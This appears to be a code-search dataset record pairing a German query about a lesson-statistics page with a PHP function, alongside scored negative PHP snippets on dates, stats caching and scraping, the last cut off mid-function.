"private function drawDateTimeIntervals() {\n\t\t$interval['sub'] = $this->grid['horizontal']['sub']['interval'];\n\t\t$interval['main'] = $this->grid['horizontal']['main']['interval'];\n\n\t\t// Sub interval title size.\n\t\t$element_size = imageTextSize(7, 90, 'WWW');\n\n\t\t$position = 0;\n\t\t$dt = [];\n\t\t$modifier = [];\n\t\t$format = [];\n\n\t\tforeach (['main', 'sub'] as $type) {\n\t\t\t$dt[$type] = new DateTime();\n\t\t\t$dt[$type]->setTimestamp($this->stime);\n\n\t\t\tif ($interval[$type] >= SEC_PER_YEAR) {\n\t\t\t\t$years = $interval[$type] / SEC_PER_YEAR;\n\t\t\t\t$year = (int) $dt[$type]->format('Y');\n\t\t\t\t$dt[$type]->modify('first day of January this year 00:00:00 -'.($year % $years).' year');\n\t\t\t\t$modifier[$type] = '+ '.$years.' year';\n\t\t\t\t$format[$type] = _x('Y', DATE_FORMAT_CONTEXT);\n\t\t\t}\n\t\t\telseif ($interval[$type] >= SEC_PER_MONTH) {\n\t\t\t\t$months = $interval[$type] / SEC_PER_MONTH;\n\t\t\t\t$month = (int) $dt[$type]->format('m');\n\t\t\t\t$dt[$type]->modify('first day of this month 00:00:00 -'.(($month - 1) % $months).' month');\n\t\t\t\t$modifier[$type] = '+ '.$months.' month';\n\t\t\t\t$format[$type] = ($type == 'main') ? _('m-d') : _('M');\n\t\t\t}\n\t\t\telseif ($interval[$type] >= SEC_PER_WEEK) {\n\t\t\t\t$weeks = $interval[$type] / SEC_PER_WEEK;\n\t\t\t\t$week = (int) $dt[$type]->format('W');\n\t\t\t\t$day_of_week = (int) $dt[$type]->format('w');\n\t\t\t\t$dt[$type]->modify('today -'.(($week - 1) % $weeks).' week -'.$day_of_week.' day');\n\t\t\t\t$modifier[$type] = '+ '.$weeks.' week';\n\t\t\t\t$format[$type] = _('m-d');\n\t\t\t}\n\t\t\telseif ($interval[$type] >= SEC_PER_DAY) {\n\t\t\t\t$days = $interval[$type] / SEC_PER_DAY;\n\t\t\t\t$day = (int) $dt[$type]->format('d');\n\t\t\t\t$dt[$type]->modify('today -'.(($day - 1) % $days).' day');\n\t\t\t\t$modifier[$type] = '+ '.$days.' day';\n\t\t\t\t$format[$type] = _('m-d');\n\t\t\t}\n\t\t\telseif ($interval[$type] >= SEC_PER_HOUR) {\n\t\t\t\t$hours = $interval[$type] / SEC_PER_HOUR;\n\t\t\t\t$hour = (int) $dt[$type]->format('H');\n\t\t\t\t$minute = (int) $dt[$type]->format('i');\n\t\t\t\t$second = (int) $dt[$type]->format('s');\n\t\t\t\t$dt[$type]->modify('-'.($hour % $hours).' hour -'.$minute.' minute -'.$second.' second');\n\t\t\t\t$modifier[$type] = '+ '.$hours.' hour';\n\t\t\t\t$format[$type] = TIME_FORMAT;\n\t\t\t}\n\t\t\telseif ($interval[$type] >= SEC_PER_MIN) {\n\t\t\t\t$minutes = $interval[$type] / SEC_PER_MIN;\n\t\t\t\t$minute = (int) $dt[$type]->format('i');\n\t\t\t\t$second = (int) $dt[$type]->format('s');\n\t\t\t\t$dt[$type]->modify('-'.($minute % $minutes).' minute -'.$second.' second');\n\t\t\t\t$modifier[$type] = '+ '.$minutes.' min';\n\t\t\t\t$format[$type] = ($type == 'main') ? _('H:i:s') : TIME_FORMAT;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$seconds = $interval[$type];\n\t\t\t\t$second = (int) $dt[$type]->format('s');\n\t\t\t\t$dt[$type]->modify('-'.($second % $seconds).' second');\n\t\t\t\t$modifier[$type] = '+ '.$seconds.' second';\n\t\t\t\t$format[$type] = _('H:i:s');\n\t\t\t}\n\t\t}\n\n\t\t// It is necessary to align the X axis after the jump from winter to summer time.\n\t\t$prev_dst = (bool) $dt['sub']->format('I');\n\t\t$dst_offset = $dt['sub']->getOffset();\n\t\t$do_align = false;\n\n\t\t$prev_time = $this->stime;\n\t\tif ($interval['main'] == SEC_PER_MONTH) {\n\t\t\t$dt_start = new DateTime();\n\t\t\t$dt_start->setTimestamp($this->stime);\n\t\t\t$prev_month = (int) $dt_start->format('m');\n\t\t}\n\n\t\twhile (true) {\n\t\t\t$dt['sub']->modify($modifier['sub']);\n\n\t\t\tif (SEC_PER_HOUR < $interval['sub'] && $interval['sub'] < SEC_PER_DAY) {\n\t\t\t\tif ($do_align) {\n\t\t\t\t\t$hours = $interval['sub'] / SEC_PER_HOUR;\n\t\t\t\t\t$hour = (int) $dt['sub']->format('H');\n\t\t\t\t\tif ($hour % $hours) {\n\t\t\t\t\t\t$dt['sub']->modify($dst_offset.' second');\n\t\t\t\t\t}\n\n\t\t\t\t\t$do_align = false;\n\t\t\t\t}\n\n\t\t\t\t$dst = (bool) $dt['sub']->format('I');\n\n\t\t\t\tif ($dst && $prev_dst != $dst) {\n\t\t\t\t\t$dst_offset -= $dt['sub']->getOffset();\n\t\t\t\t\t$do_align = $interval['sub'] > abs($dst_offset);\n\t\t\t\t\t$prev_dst = $dst;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($dt['main'] < $dt['sub']) {\n\t\t\t\t$dt['main']->modify($modifier['main']);\n\t\t\t}\n\n\t\t\tif ($interval['main'] == SEC_PER_MONTH) {\n\t\t\t\t$month = (int) $dt['sub']->format('m');\n\n\t\t\t\t$draw_main = ($month != $prev_month);\n\t\t\t\t$prev_month = $month;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$draw_main = ($dt['main'] == $dt['sub']);\n\t\t\t}\n\t\t\t$time = $dt['sub']->format('U');\n\n\t\t\t$delta_x = bcsub($time, $prev_time) * $this->sizeX / $this->period;\n\t\t\t$position += $delta_x;\n\n\t\t\t// First element overlaping check.\n\t\t\tif ($prev_time != $this->stime || $delta_x > $element_size['width']) {\n\t\t\t\t// Last element overlaping check.\n\t\t\t\tif ($position > $this->sizeX - $element_size['width']) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ($draw_main) {\n\t\t\t\t\t$this->drawMainPeriod($dt['sub']->format($format['main']), $position);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$this->drawSubPeriod($dt['sub']->format($format['sub']), $position);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$prev_time = $time;\n\t\t}\n\t}",
"function eo_the_start($format='d-m-Y',$id='',$occurrence=0){\n\techo eo_get_the_start($format,$id,$occurrence);\n}",
"public function getIngresaAttribute()\n {\n return strftime(\"%d de %B de %Y\", strtotime(date_format(date_create($this->fecha_ingreso), 'd-m-Y')));\n }",
"function _datesort($a,$b){\n $da = $this->_meta($a,'cdate');\n $db = $this->_meta($b,'cdate');\n if($da < $db) return -1;\n if($da > $db) return 1;\n return strcmp($a['file'],$b['file']);\n }",
"private function getArrayFromAulario($date) {\r\n if (self::sanitizeDate($date)) {\r\n $orario = explode(\"-\", $date);\r\n $year = $orario[0];\r\n $mounth = $orario[1];\r\n $day = $orario[2];\r\n $html = file_get_contents(\"https://aulario.dmsa.unipd.it/mrbs/day.php?year=\" . $year . \"&month=\" . $mounth . \"&day=\" . $day);\r\n //serializzo\r\n $parsifiedHTML = str_get_html($html);\r\n $prenotazione = array();\r\n $aule = array(\"LU3\", \"LU4\", \"P1\", \"P2\", \"P3\", \"P300\", \"P4\", \"P5\");\r\n $cont = 0;\r\n foreach ($parsifiedHTML->find('table') as $tables) {\r\n $cont++;\r\n if ($cont == 8) { //ci sono 2 tabelle, la prima è il calendarietto e la seconda la vista agenda \r\n $indice = 0;\r\n for ($i = 1; $i < 9; $i++) {\r\n $thSaver = 0;\r\n foreach ($tables->find('tr') as $riga) {\r\n if ($thSaver == 0) {\r\n $thSaver++;\r\n } else {\r\n $celle = $riga->find('td');\r\n $ore = $celle[0]->find('a');\r\n $ora = $ore[0]->text();\r\n $script = $celle[$i]->find('script');\r\n if ($script == null) { // se l'aula è prenotata (se la cella è vuota, dentro a td c'è una table con uno script)\r\n $link = $celle[$i]->find('a');\r\n if (!isset($link) || $link == null || $ora==\"19:00\") { // continuazione della prenotazione\r\n $prenotazione[$indice - 1][3] = $ora; // aggiorno ora fine e non incremento $indice\r\n } else { // nuova prenotazione\r\n $prenotazione[$indice][0] = $aule[$i - 1]; // AULA\r\n $prenotazione[$indice][1] = $date; // DATA\r\n $prenotazione[$indice][2] = $ora; // ORA INIZIO\r\n // ORA FINE viene aggiornata al ciclo successivo\r\n $prenotazione[$indice][4] = $link[0]->text(); // CORSO\r\n $prenotazione[$indice][5] = substr($link[0]->title, 14); // COGNOME PROF\r\n $prenotazione[$indice][6] = 0; // NOME PROF\r\n // non è la prima prenotazione dell'aula -> aggiorno ora fine prenotazione prec\r\n if ($indice > 0 && $prenotazione[$indice - 1][0]==$prenotazione[$indice][0] ) { \r\n $prenotazione[$indice - 1][3] = $ora;\r\n }\r\n $indice++;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n $prenotazione[$indice][0] = \"P6\"; // AULA\r\n $prenotazione[$indice][1] = $date; // DATA\r\n $prenotazione[$indice][2] = \"07:00\"; // ORA INIZIO\r\n $prenotazione[$indice][3] = \"19:00\"; // ORA FINE \r\n $prenotazione[$indice][4] = \"Servizio Organizzazione/Formazione\"; // CORSO\r\n $prenotazione[$indice][5] = \"Aula gestita dalla Segreteria Delegato Spazi Didattici\"; // COGNOME PROF\r\n $prenotazione[$indice][6] = 0; // NOME PROF\r\n return $prenotazione;\r\n }\r\n }\r\n } else {\r\n echo \"<p>Errore sull'input</p>\";\r\n return;\r\n }\r\n }",
"public function aggiornaEvento($date,$place,$description,$imm) {\n $this->data=$date;\n $this->luogo=$place;\n $this->descrizione=$description;\n $this->idimg=$imm;\n}",
"private function _consolideDate(){\n\t\t$this->_mktime();\n\t\t$this->_setDate();\n\t}",
"public function getDateUtilisateur()\n{\nif (!strcmp($this->dateUtilisateur, \"00/00/0000\"))\n\t$date = \"\";\nelse $date = $this->dateUtilisateur;\nreturn $date;\n}",
"public function __toString()\n {\n return $this->getNaam() . \" : \" . $this->getStartDatum()->format('d-m-Y') . (($this->getEindDatum() != null) ? \" - \" . $this->getEindDatum()->format('d-m-Y') : \"\");\n }"
] | [
"0.59665555",
"0.5705387",
"0.5536608",
"0.5487124",
"0.5466628",
"0.54387915",
"0.53836226",
"0.5372155",
"0.5363781",
"0.5280922",
"0.52631694",
"0.52547073",
"0.5226718",
"0.5197697",
"0.5185795",
"0.5132189",
"0.51276004",
"0.51036894",
"0.5085551",
"0.5084493",
"0.50828874",
"0.50786054",
"0.507757",
"0.5053251",
"0.5052033",
"0.50475806",
"0.50443333",
"0.50339663",
"0.50232345",
"0.50164413",
"0.5007248",
"0.5005836",
"0.4993525",
"0.49867663",
"0.49764186",
"0.49721086",
"0.4971724",
"0.4968379",
"0.4960671",
"0.49606523",
"0.4957544",
"0.49472848",
"0.49463537",
"0.49337754",
"0.49303278",
"0.49292168",
"0.49262306",
"0.4919704",
"0.49138105",
"0.4913059",
"0.49070072",
"0.49040785",
"0.4890293",
"0.48872253",
"0.4882061",
"0.48762757",
"0.4866928",
"0.4859458",
"0.48558053",
"0.4849854",
"0.48424083",
"0.48404732",
"0.4840259",
"0.4837973",
"0.4834647",
"0.483361",
"0.48303422",
"0.48141128",
"0.48101214",
"0.48069647",
"0.48050487",
"0.48033693",
"0.4802422",
"0.48023644",
"0.48021764",
"0.48012885",
"0.48008657",
"0.4798252",
"0.47977787",
"0.47972012",
"0.47956315",
"0.47950912",
"0.47950912",
"0.47950912",
"0.47945487",
"0.47922185",
"0.4791225",
"0.47889295",
"0.4788023",
"0.47846606",
"0.47798476",
"0.47797495",
"0.47795096",
"0.4777844",
"0.47697732",
"0.47678643",
"0.47634384",
"0.47623393",
"0.4754846",
"0.47509527",
"0.47419685"
] | 0.0 | -1 |
Stellt die Statistikseite dar. Dazu wird zu jeder Lektion eine entsprechende statsDatei gesucht. Wenn keine Datei vorhanden ist, wird 0/0 angezeigt. | private function printStatisticsPage() {
echo '<ul data-role="listview" data-inset="true">';
$statistics = array ();
$dir = new DirectoryIterator ( 'lessons/' );
foreach ( $dir as $fileinfo ) {
if (! $fileinfo->isDot ()) {
$fileName = pathinfo ( $fileinfo->getFilename (), PATHINFO_FILENAME );
$lection = fgets ( fopen ( $fileinfo->getPath () . '/' . $fileinfo, 'r' ) );
if (strcmp ( "-stat", substr ( $fileName, - 5 ) ) != 0) {
$stats = $this->getStatsFromFile ( $fileinfo->getPath () . '/' . $fileName . $this::statisticsExtension );
array_push ( $statistics, array (
$lection,
$stats
) );
}
}
}
foreach ( $statistics as $stats ) {
echo '<li class="centered" data-form="ui-body-a">', $stats [0], '<br>Richtig: ' . $stats [1] [0] . ' / ' . $stats [1] [1] . '</li>';
}
echo '</ul>';
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function svp_actualiser_stats() {\n\t\n\t// Initialisation du retour\n\t$retour = true;\n\n\t// Récupération des statistiques globales (toute version SPIP) et mise en base dans la table spip_plugins\n\tinclude_spip('inc/distant');\n\t$page = recuperer_page(_SVP_SOURCE_STATS);\n\t$infos = json_decode($page);\n\tif (!$stats = $infos->plugins) {\n\t\t// On ne fait que loger l'erreur car celle-ci n'a pas d'incidence sur le comportement\n\t\t// de SVP\n\t\tspip_log('MODULE STATS - Réponse du serveur incorrecte ou mal formée. Les statistiques ne seront pas mises à jour', 'svp_actions.' . _LOG_ERREUR);\n\t\t$retour = false;\n\t} else {\n\t\tforeach ($stats as $_stat) {\n\t\t\t$prefixe = strtoupper($_stat->nom);\n\t\t\tif ($id_plugin = sql_getfetsel('id_plugin', 'spip_plugins', array('prefixe='. sql_quote($prefixe)))) {\n\t\t\t\t// Si le plugin est bien dans la base on peut lui mettre a jour ses statistiques\n\t\t\t\tsql_updateq('spip_plugins', \n\t\t\t\t\t\t\tarray('nbr_sites'=> $_stat->sites, 'popularite'=> floatval(trim($_stat->pourcentage, '%'))),\n\t\t\t\t\t\t\t'id_plugin=' . intval($id_plugin));\n\t\t\t}\n\t\t}\n\t}\n\n\t// Détermination de la date (mois année) pour l'historique.\n\t$date = date('m-y');\n\n\t// Récupération des statistiques par branche SPIP et mise en base dans la table spip_plugins_stats.\n\t// La liste des branches en cours est fournie par SVP dans un tableau global.\n\tinclude_spip('inc/svp_outiller');\n\tforeach (array_keys($GLOBALS['infos_branches_spip']) as $_branche) {\n\t\t// On charge le JSON des stats pour chaque branche SPIP\n\t\t$page = recuperer_page(_SVP_SOURCE_STATS . \"&v=${_branche}\");\n\t\t$infos = json_decode($page);\n\t\tif (!$stats = $infos->plugins) {\n\t\t\t// On ne fait que loger l'erreur car celle-ci n'a pas d'incidence sur le comportement\n\t\t\t// de SVP\n\t\t\tspip_log(\"MODULE STATS - Réponse du serveur incorrecte ou mal formée. Les statistiques de la branche ${_branche} ne seront pas mises à jour\", 'svp_actions.' . _LOG_ERREUR);\n\t\t\t$retour = false;\n\t\t} else {\n\t\t\tforeach ($stats as $_stat) {\n\t\t\t\t$prefixe = strtoupper($_stat->nom);\n\t\t\t\t$where = array('prefixe='. sql_quote($prefixe), 'branche_spip=' . sql_quote($_branche));\n\t\t\t\t// Suivant que l'enregistrement du plugin pour la branche donnée existe ou pas, on met à jour\n\t\t\t\t// ou on insère les statistiques.\n\t\t\t\t$historique = array();\n\t\t\t\tif ($historique_existant = sql_getfetsel('historique', 'spip_plugins_stats', $where)) {\n\t\t\t\t\t// Les stats existent déjà, on les met à jour avec l'historique mensuel.\n\t\t\t\t\t$historique = unserialize($historique_existant);\n\t\t\t\t\t$historique[$date] = $_stat->sites;\n\t\t\t\t\tsql_updateq(\n\t\t\t\t\t\t'spip_plugins_stats', \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'nbr_sites' => $_stat->sites,\n\t\t\t\t\t\t\t'popularite' => floatval(trim($_stat->pourcentage, '%')),\n\t\t\t\t\t\t\t'historique' => serialize($historique)\n\t\t\t\t\t\t),\n\t\t\t\t\t\t$where\n\t\t\t\t\t);\n\t\t\t\t} else {\n\t\t\t\t\t// Les stats n'existent pas on les insèrent pour la première fois.\n\t\t\t\t\t$historique[$date] = $_stat->sites;\n\t\t\t\t\tsql_insertq(\n\t\t\t\t\t\t'spip_plugins_stats', \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'prefixe' => $prefixe,\n\t\t\t\t\t\t\t'branche_spip' => $_branche,\n\t\t\t\t\t\t\t'nbr_sites' => $_stat->sites,\n\t\t\t\t\t\t\t'popularite' => floatval(trim($_stat->pourcentage, '%')),\n\t\t\t\t\t\t\t'historique' => serialize($historique)\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn $retour;\n}",
"public function stats()\n {\n }",
"protected function getStat()\n\t\t{\n\t\t\tif (empty($stat))\n\t\t\t{\n\t\t\t\t$this->stat = new Stat();\n\t\t\t}\n\t\n\t\t\treturn $this->stat;\n\t\t}",
"public static abstract function getStatistic();",
"public function getStats() {}",
"public function buildStats(\\DateTime $date)\n {\n $this->stats_mapper->buildStats($date);\n }",
"protected function loadStats()\n {\n if ($this->stat === false) {\n $this->stat = @stat($this->getPath());\n if ($this->stat===false) {\n throw new T_Exception_File($this->getPath(),'stat error');\n }\n }\n }",
"public function generateStats()\n {\n $this->cache = json_decode (file_get_contents ($this->cfg_cache_file), true);\n if (!is_array ($this->cache)) $this->cache = array();\n if (!isset ($this->cache['index'])) $this->cache['index'] = array();\n if (!isset ($this->cache['total'])) $this->cache['total'] = 0;\n if (!isset ($this->cache['size'])) $this->cache['size'] = 0;\n $edited = false;\n if (!isset ($this->cache['timecache']))\n {\n //print \"No cache\";\n $this->generateTimeInterval();\n $this->cache['timecache'] = array (\n \"generated\" => date (\"d-m-Y\"),\n \"day\" => $this->stats->screenshots_per_day,\n \"month\" => $this->stats->screenshots_per_month\n );\n }\n else\n {\n $today = date (\"d-m-Y\");\n $gen_month = false; $gen_day = false;\n if (substr ($today, 3) != substr ($this->cache['timecache']['generated'], 3))\n $gen_month = true;\n if ($today != $this->cache['timecache']['generated'])\n $gen_day = true;\n if ($gen_day || $gen_month)\n {\n $this->generateTimeInterval ($gen_month, $gen_day);\n //print \"Generating timecache: [{$gen_month} / {$gen_day}]\";\n $this->cache['timecache']['generated'] = $today;\n if ($gen_day)\n $this->cache['timecache']['day'] = $this->stats->screenshots_per_day;\n else\n $this->stats->screenshots_per_day = $this->cache['timecache']['day'];\n if ($gen_month)\n $this->cache['timecache']['month'] = $this->stats->screenshots_per_month;\n else\n $this->stats->screenshots_per_month = $this->cache['timecache']['month'];\n $edited = true;\n }\n else\n {\n $this->stats->screenshots_per_day = $this->cache['timecache']['day'];\n $this->stats->screenshots_per_month = $this->cache['timecache']['month'];\n }\n }\n // $this->cache = array ( 'total' => n, 'size' => n, 'index' => array ('name' => date)) )\n $flist = glob (\"{$this->cfg_img_path}/*.{{$this->cfg_extensions}}\", GLOB_BRACE);\n foreach ($flist as $file)\n {\n if (!isset ($this->cache['index'][$file]))\n {\n $edited = true;\n $_stat = stat ($file);\n $this->cache['index'][$file] = date ('d-m-Y', $_stat['mtime']) . '/' . $_stat['size'];\n $this->cache['size'] += $_stat['size'];\n $this->cache['total'] += 1;\n }\n $_date = substr ($this->cache['index'][$file], 0, strpos ($this->cache['index'][$file], '/'));\n $month = substr ($_date, 3);\n if (isset ($this->stats->screenshots_per_day[$_date]))\n $this->stats->screenshots_per_day[$_date]++;\n if (isset ($this->stats->screenshots_per_month[$month]))\n $this->stats->screenshots_per_month[$month]++;\n }\n if ($this->cfg_check_deleted)\n {\n foreach (array_diff (array_keys ($this->cache['index']), $flist) as $deleted)\n {\n $edited = true;\n $this->cache['size'] -= intval (substr ($this->cache['index'][$deleted], strpos ($this->cache['index'][$deleted], '/') + 1));\n $this->cache['total'] -= 1;\n unset ($this->cache['index'][$deleted]);\n }\n }\n $this->stats->total_files = $this->cache['total'];\n $this->stats->used_space = $this->cache['size'];\n //print_r ($this->stats->screenshots_per_day);\n //print($edited);\n if ($edited)\n file_put_contents ($this->cfg_cache_file, json_encode ($this->cache));\n return $this;\n }",
"public function getStat() {\n\n\t\tclearstatcache();\n\t\t$stat = new ResourceStatistics();\n\t\t$stat->setAccessTime($this->fileInfo->getATime());\n\t\t$stat->setCreationTime($this->fileInfo->getCTime());\n\t\t$stat->setModificationTime($this->fileInfo->getMTime());\n\t\t$stat->setSize($this->fileInfo->getSize());\n\n\t\t// The event listener used to set the modification and access time\n\t\t$fileInfo = $this->fileInfo;\n\t\t$listener = function(ResourceStatisticsChangeEvent $event) use ($fileInfo) {\n\t\t\t/* @var ResourceStatistics $target */\n\t\t\t/* @var SplFileInfo $fileInfo */\n\t\t\t$target = $event->getTarget();\n\t\t\ttouch($fileInfo->getPathname(), $target->getModificationTime(), $target->getAccessTime());\n\t\t};\n\n\t\t// Add event listeners\n\t\t$stat->addEventListener(ResourceStatisticsChangeEvent::ACCESS_TIME_CHANGED, $listener);\n\t\t$stat->addEventListener(ResourceStatisticsChangeEvent::MODIFICATION_TIME_CHANGED, $listener);\n\n\t\treturn $stat;\n\t}",
"Public Function getStats($Date = '')\n\t{\n\t\tif($Date == '')\n\t\t{\n\t\t\t$Date = date('Y-m-d');\n\t\t}\n\t\t\n\t\tunlink(sys_get_temp_dir().'/cookiemonster'.md5($this->publisherLogin).'.txt');\n\t\t\n\t\tif (!$this->login()) {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\t$clicksUrl = 'https://secure.essociate.com/my/stats_export/essoc_'.date('d', strtotime($Date)).'_3_'.date('m', strtotime($Date)).'_'.date('Y', strtotime($Date)).'_default.csv?Day='.date('d', strtotime($Date)).'&ExportTable=3&Month='.date('m', strtotime($Date)).'&Year='.date('Y', strtotime($Date)).'&do=default&Export=csv';\t\t\n\t\t$conversionsUrl = 'https://secure.essociate.com/my/stats_export/essoc_'.date('d', strtotime($Date)).'_2_'.date('m', strtotime($Date)).'_'.date('Y', strtotime($Date)).'_default.csv?Day='.date('d', strtotime($Date)).'&ExportTable=2&Month='.date('m', strtotime($Date)).'&Year='.date('Y', strtotime($Date)).'&do=default&Export=csv';\n\n\t\t$clicksData = $this->getUrlData($clicksUrl);\n\t\t$conversionsData = $this->getUrlData($conversionsUrl);\n\t\t\n\t\t$clicksArray = $this->csvToArray($clicksData);\n\t\t$conversionsArray = $this->csvToArray($conversionsData);\n\n\t\t$TotalClicks = 0;\n\t\t$TotalPayout = 0;\n\t\t$TotalConversions = 0;\n\t\t\n\t\t$Output = new StatEnvelope($Date);\n\t\t\n\t\tforeach ($clicksArray as $clicks) {\n\t\t\t$OfferID = $clicks[0];\n\t\t\t$Clicks = $clicks[1];\n\t\t\t$Payout = 0;\n\t\t\t$Conversions = 0;\n\t\t\t$SubID = '';\n\t\t\t\n\t\t\tforeach ($conversionsArray as $conversions) {\n\t\t\t\tif ($conversions[0]==$clicks[0]) {\n\t\t\t\t\t$Conversions = $conversions[1];\n\t\t\t\t\t$Payout = $conversions[2];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$TempStat = new Stat($Clicks, $Conversions, $Payout, $SubID, $OfferID);\n\t\t\t$Output->addStatObject($TempStat);\n\t\t}\n\t\t\n\t\treturn $Output;\n\t}",
"public function getStats()\n\t{\n\t\treturn $this->_stat;\n\t}",
"public function getStatisticByDate (){\n\t\t\n\t\t$dates = array();\n\t\t$logins = array();\n\t\t$email = array();\n\t\t$shares = array();\n $open_email = array();\n\t\t$link_visit = array();\n\t\t$tmp = Util::groupMultiArray($this->data, 'date');\n\t\t\n\t\t// transform it to to be abel to plot on the graph\n\t\tforeach ($tmp as $dt => $data){\n $open_email_count = '0';\n $link_visit_open = '0';\n\t\t\tforeach ($data as $choiceid => $choices){\n if(($choices['email_open'] == '1')) {\n $open_email_count++;\n }\n if(($choices['link_visit_open'] == '1')) {\n $link_visit_open++;\n }\n }\n $open_email[] = $open_email_count;\n\t\t\t$link_visit[] = $link_visit_open;\n \n\t\t\t$dates[] = $dt;\n\t\t\t\n\t\t\t$types = Util::groupMultiArray($data, 'type');\n\t\t\t\n\t\t\t$logins[] = (isset($types[1])) ? count($types[1]) : 0;\n\t\t\t$email[] = (isset($types[2])) ? count($types[2]) : 0;\n\t\t\t$shares[] = (isset($types[3])) ? count($types[3]) : 0;\n\t \n\t\t}\n\t\t\n\t\treturn array('label' => $dates, 'login' => $logins, 'email' => $email, 'share' => $shares, 'open_email_count' => $open_email, 'link_visit_open' => $link_visit);\n\t\t\n\t\t//print_r($out);\n\t\t//\n\t}",
"public function getStats();",
"public function initPostDailyStatss()\n\t{\n\t\t$this->collPostDailyStatss = array();\n\t}",
"public function missionStats()\n {\n // On récupère l'identifiant de la mission\n $mission = $this->get('mission_id');\n\n // On récupère tous les items à visiter dans la rue\n $sql = 'SELECT *\n FROM `items`\n WHERE `mission_id` = :mission';\n $query = $this->_link->prepare($sql);\n $query->bindParam(':mission', $mission);\n $query->execute();\n\n if ($query->rowCount()) {\n $items = $query->fetchAll(PDO::FETCH_ASSOC);\n $stats = array(\n 'attente' => 0,\n 'absent' => 0,\n 'ouvert' => 0,\n 'procuration' => 0,\n 'contact' => 0,\n 'npai' => 0\n );\n\n foreach ($items as $item) {\n // On regarde si ce n'est pas encore fait\n if ($item['item_statut'] == 0) {\n $stats['attente']++;\n } else {\n if ($item['item_statut'] == 1) {\n $stats['absent']++;\n }\n if ($item['item_statut'] == 2) {\n $stats['ouvert']++;\n }\n if ($item['item_statut'] == 3) {\n $stats['procuration']++;\n }\n if ($item['item_statut'] == 4) {\n $stats['contact']++;\n }\n if ($item['item_statut'] == -1) {\n $stats['npai']++;\n }\n }\n }\n\n // On calcule la réalisation\n $stats['total'] = array_sum($stats);\n $stats['fait'] = $stats['total'] - $stats['attente'];\n $stats['proportion'] = ceil($stats['fait'] * 100 / $stats['total']);\n\n return $stats;\n } else {\n return false;\n }\n }",
"function CalculateStatsSet($oDB, $riderID, $startDate, $endDate)\n{\n $sql = \"SELECT IFNULL(SUM(Distance),0) AS Miles,\n IFNULL(SUM(IF(RideLogTypeID=1 OR RideLogTypeID=3, Distance, 0)),0) AS CEMiles,\n COUNT(DISTINCT Date) AS Days,\n COUNT(DISTINCT IF(RideLogTypeID=1 OR RideLogTypeID=3, Date, NULL)) AS CEDays,\n COUNT(DISTINCT IF(RideLogTypeID=1 OR RideLogTypeID=3, RideLogID, NULL)) AS CERides\n FROM ride_log\n WHERE RiderID=$riderID AND Date BETWEEN '\" . $startDate->format('Y-m-d') . \"' AND '\" . $endDate->format('Y-m-d') . \"'\n GROUP BY RiderID\";\n $rs = $oDB->query($sql);\n if($rs->num_rows)\n {\n $record = $rs->fetch_array(MYSQLI_ASSOC);\n }\n else\n {\n $record = array('Miles'=>0, 'CEMiles'=>0, 'Days'=>0, 'CEDays'=>0, 'CERides'=>0);\n }\n $rs->close();\n return($record);\n}",
"private function getStatistik() {\n $SHOW_DAYS = 365;\n self::$today = new DateTime();\n $resultHtml = \"\";\n\n // Jetzt Berechnungen pro Budget:\n $budgets = Persistence::getInstances(\"BUD\", \"name\", false);\n $werte = array();\n $jahre = array();\n $budgetNames = array();\n $budgetAmount = array();\n foreach ($budgets as $budget) {\n $budgetName = $budget->getProperty(\"name\", \"unbekannt\");\n $budgetNames[\"\" . $budgetName] = \"$budgetName\";\n $budgetZeitraum = $budget->getProperty(\"zeitraum\", \"\") == \"\" ? \"\" : \" \" . $budget->getProperty(\"zeitraum\", \"\");\n $budgetAmount[\"\" . $budgetName] = $budget->getProperty(\"btotal\", \"\") . $budgetZeitraum;\n if (!isset($werte[\"$budgetName\"])) {\n $werte[\"$budgetName\"] = array();\n }\n $instances = Persistence::getInstances(\"ARB\", \"datum\", false, $budget->getId(), true);\n $resultData = array();\n foreach ($instances as $instance) {\n $h = $instance->getProperty(ARB::PROPERTY_STUNDEN, 0);\n $kaz = $instance->getProperty(ARB::PROPERTY_KAZ, 0);\n list($tag, $monat, $jahr) = explode(\".\", $instance->getProperty(ARB::PROPERTY_DATUM, \"01.01.1800\"));\n if ($jahr >= \"2017\") {\n $jahre[\"\" . $jahr] = \"\" . \"$jahr\";\n if (!isset($werte[\"$budgetName\"][\"\" . $jahr])) {\n $werte[\"$budgetName\"][\"\" . $jahr][\"Jahr\"] = 0;\n $werte[\"$budgetName\"][\"\" . $jahr][\"monate\"] = array();\n }\n if (!isset($werte[\"$budgetName\"][\"\" . $jahr][\"monate\"][\"\" . $monat])) {\n $werte[\"$budgetName\"][\"\" . $jahr][\"monate\"][\"\" . $monat] = 0;\n }\n $wert = $kaz != \"\" && $h != \"\" ? ($kaz > $h ? $kaz : $h) : ($kaz != \"\" ? $kaz : ($h != \"\" ? $h : 0));\n $werte[\"$budgetName\"][\"\" . $jahr][\"monate\"][\"\" . $monat] += $wert;\n $werte[\"$budgetName\"][\"\" . $jahr][\"Jahr\"] += $wert;\n }\n }\n }\n ksort($jahre);\n $monatWerte = array();\n $jahresWerte = array();\n foreach ($budgetNames as $budgetName) {\n $budgetWert[$budgetName] = array();\n foreach ($jahre as $jahr) {\n foreach (array(\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\", \"11\", \"12\") as $monat) {\n // Monatswerte nur fuer die letzten 365 Tage aufnehmen:\n if (!self::isOlder($jahr, $monat, $SHOW_DAYS)) {\n $monatWerte[$budgetName][$jahr . \"\"][\"\" . $monat] = 0;\n }\n }\n $jahresWerte[$budgetName][$jahr . \"\"] = 0;\n }\n }\n foreach ($werte as $budgetName => $jahrWerte) {\n foreach ($jahrWerte as $jahr => $jahrUndMonatWerte) {\n $jahresWerte[$budgetName][$jahr . \"\"] 